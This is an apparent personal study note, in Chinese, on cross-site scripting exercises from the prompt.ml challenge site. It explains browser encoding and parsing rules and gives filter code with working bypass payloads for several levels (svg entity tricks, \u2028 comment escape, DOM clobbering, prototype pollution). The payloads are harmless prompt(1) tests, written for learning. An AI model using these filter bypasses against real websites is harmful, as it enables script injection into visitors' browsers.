xss练习小结

xss学习笔记

前言

        这一次萌生去练习xss还是因为打了rwctf,感觉这块自己还是不太熟悉,所以挑出来练一下。下面的题目解析并不是按照顺序,而是按照涉及的不同问题来分类的。

        练习网站是prompt.ml,整体做下来虽然感觉做出的题目很少,但确实学到了不少东西。

关于几种编码

        xss的payload中使用的编码无非几种

  • urlencode
  • html实体编码
  • unicode
  • base64
  • ascii(string.fromCharCode)

        这里有一篇文章很好地梳理了各种浏览器对xss的各种编码的解析 http://bobao.360.cn/learning/detail/292.html

        主要的内容有这么几点:

  • html元素共有五种:

    1. 空元素(如br,area等等)这些元素不能容纳任何内容

    2. 纯文本元素(典型的是script和style),这些元素只能容纳纯文本,也就是说,这些元素中间容纳的内容并不会被html解码。所以在script标签中使用html编码绕过waf是不会被解析的。

    3. RCDTA元素,能容纳html实体引用和文本,也就是说,RCDTA元素中的html编码的字段会被解码。例如textarea元素和title元素。但是textarea和title内的元素标签并不会被解析。

    4. 外部元素,例如svg和MathML命名空间,内部能解析html实体,注释,文本,其他元素还有CDATA段。

    5. 其余的所有元素,解析内容和外部元素一样除了不能解析CDATA段。


      这里有一道题就用到了外部实体prompt第二关
      1
      2
      3
      4
      5
      6
      7
      function escape(input) {
      // v-- frowny face
      input = input.replace(/[=(]/g, '');

      // ok seriously, disallows equal signs and open parenthesis
      return input;
      }

              这里过滤了=和(这造成了prompt函数无法完成,思路应该是用某种编码绕过waf。上面讲到的svg标签中不仅可以容纳子标签还可以解析html实体,所以最后的payload应该是

      <svg><script>alert&#40;1)</script>


  • url编码
    1. url解码往往发生在需要引入url上下文的时候(通常是引入外部url的时候),通常这里会先进行一轮html decode,然后才进行url decode,通常这里可以用html实体编码隐藏一些被waf过滤的东西。例如这段经典的payload
      1
      <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>
    2. url不能对协议和:进行解码,url合法的协议都应该是有ascii字母组成。

  • javascript编码
    1. javascript中可以用unicode或者hex代替函数或者变量的名称,但是例如(),>,=,’,”等等有特殊含义的符号不能如此处理。
    2. 通常javascript解析出现在script标签和可以调用javascipt的html标签属性处。
    3. javascript一些不可打印字符可以拿来过waf比如\u2028

html中一些小trick

  1. 非闭合标签,这和浏览器的容错有关,例如prompt的第二关

    1
    <img src=1 onerror=prompt(1) /
  2. 还是浏览器能兼容一些换行符比如\u2028,\r\n等等

    1
    2
    3
    4
    5
    6
    7
    function escape(input) {
    // apply strict filter rules of level 0
    // filter ">" and event handlers
    input = input.replace(/>|on.+?=|focus/gi, '_');

    return '<input value="' + input + '" type="text">';
    }

    这里的payload,刚好可以绕过正则的过滤,而type=image 则可以将input视为图片标签从而转化到img事件处理达到xss的形式

    1
    2
    " src type= "image" onerror=
    "prompt(1)
  3. input标签的type,在某些情况下可以将input标签转化为img标签用

使用注释的一些小trick

  1. html5中的闭合标签,例如prompt第三关

    1
    2
    3
    4
    html
    <!-- -->
    html5
    <!-- --!>
  2. html中–> 会被解析为//,例如prompt第八关
    这道题是典型的注释逃逸。

    过滤了换行和<,/注释符,还有

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    function escape(input) }
    // prevent input from getting out of comment
    // strip off line-breaks and stuff
    input = input.replace(/[\r\n</"]/g, '');

    return ' \n\
    <script> \n\
    // console.log("' + input + '"); \n\
    </script> ';
    }

    这里有两个点,一个是通过unicode的换行符\u2028做到换行的功能,另外一个是通过–>会在html中被当做//来过滤剩下的未逃逸的部分

    payload

    1
       
prompt(1)
-->

这里的payload有个处理的办法,就是将内容转化为\u2028prompt(1)\u2028放到console中得到编码后的串然后再提交。

  1. 多行标签内注入点,可以采用javascript块注释,html注释,还有根据浏览器的特殊标签来插入xss。


    例如prompt第七关和第十五关

    第七关

    1
    2
    3
    4
    5
    6
    7
    8
    function escape(input) {
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');
    return segments.map(function(title) {
    // title can only contain 12 characters
    return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
    }).join('\n');
    }

    第十五关

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    function escape(input) {
    // sort of spoiler of level 7
    input = input.replace(/\*/g, '');
    // pass in something like dog#cat#bird#mouse...
    var segments = input.split('#');

    return segments.map(function(title, index) {
    // title can only contain 15 characters
    return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
    }).join('\n');
    }

分别是用javascript的块注释和html的注释进行绕过的

需要注意的一点是,使用html的注释时,注释中不能存在>,这和注释的解析算法有关。弥补方法是添加svg标签。

payload 7

"><script>/#/prompt(1/#/)</script>

payload 15

"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>


逻辑问题

        典型的逻辑问题就是二次过滤,因为这个过程给了通过waf来构造waf的机会。

        典型的例子就是prompt的第10关

1
2
3
4
5
6
7
8
9
    function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

        问题很明显,传入类似pr’ompt(1)的表达式能过第一个waf,并且可以利用第二个置空来出掉多余的’。

javascript的小tricks

  1. javascript变量覆盖问题

    prompt的第六关

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33

    function escape(input) {
    // let's do a post redirection
    try {
    // pass in formURL#formDataJSON
    // e.g. http://httpbin.org/post#{"name":"Matt"}
    var segments = input.split('#');
    var formURL = segments[0];
    var formData = JSON.parse(segments[1]);

    var form = document.createElement('form');
    form.action = formURL;
    form.method = 'post';

    for (var i in formData) {
    var input = form.appendChild(document.createElement('input'));
    input.name = i;
    input.setAttribute('value', formData[i]);
    }

    return form.outerHTML + ' \n\
    <script> \n\
    // forbid javascript: or vbscript: and data: stuff \n\
    if (!/script:|data:/i.test(document.forms[0].action)) \n\
    document.forms[0].submit(); \n\
    else \n\
    document.write("Action forbidden.") \n\
    </script> \n\
    ';
    } catch (e) {
    return 'Invalid form data.';
    }
    }

    javascript中出现同名属性和子tag时,使用.访问子tag更优先。这里通过构造子input标签的方法来绕过waf。
    而这里document.form[0].action可能会访问form表单的第一个名为action的input标签从而绕过过滤。

    payload 6

    javascript:prompt(1)#{“action”,”xxx”}

  2. javascript的一些危险函数

  • replace()函数,主要是使用特殊字符串作为第二个参数的时候。

    reference: https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replace

    image.png

  • toUpperCase()函数,这个函数可能会将一些unicode 转为大写或者小写的ascii字母。

    305 Original : ı [\u131] LowerCase : UpperCase : I

    383 Original : ſ [\u17f] LowerCase : UpperCase : S

    8490 Original : K [\u212a] LowerCase : k UpperCase :

    64261 Original : ſt [\ufb05] LowerCase : UpperCase : ST

    64262 Original : st [\ufb06] LowerCase : UpperCase : ST

  1. javascript的原型继承问题
    javascipt通过成员访问函数访问属性时,如果查找不到,就会沿着继承链向上查找,其中所有的javascript对象都会继承一个叫__proto__的对象。可以通过修改__proto__对象的属性来达到某些目的。例如13关的waf当检查到不安全属性时,就会删除该属性。但如果通过原型链污染的方法来,将这个属性添加在原型中,使对象再次被访问时,获取原型的同名属性值来绕过waf。
  2. javascript的代码报错执行函数。

    ((prompt(1)))instanceof””

    ((prompt(1)))in”” 会先执行左边的表达式然后再执行in或者instanceof表达式从而执行函数。

    其他的小tricks

  3. 解析url时碰到@的时候会将后面的资源一并加载进来。

总结

  1. 感觉xss还是挺灵活的,各种payload用到了不少知识,挺值得进一步研究的。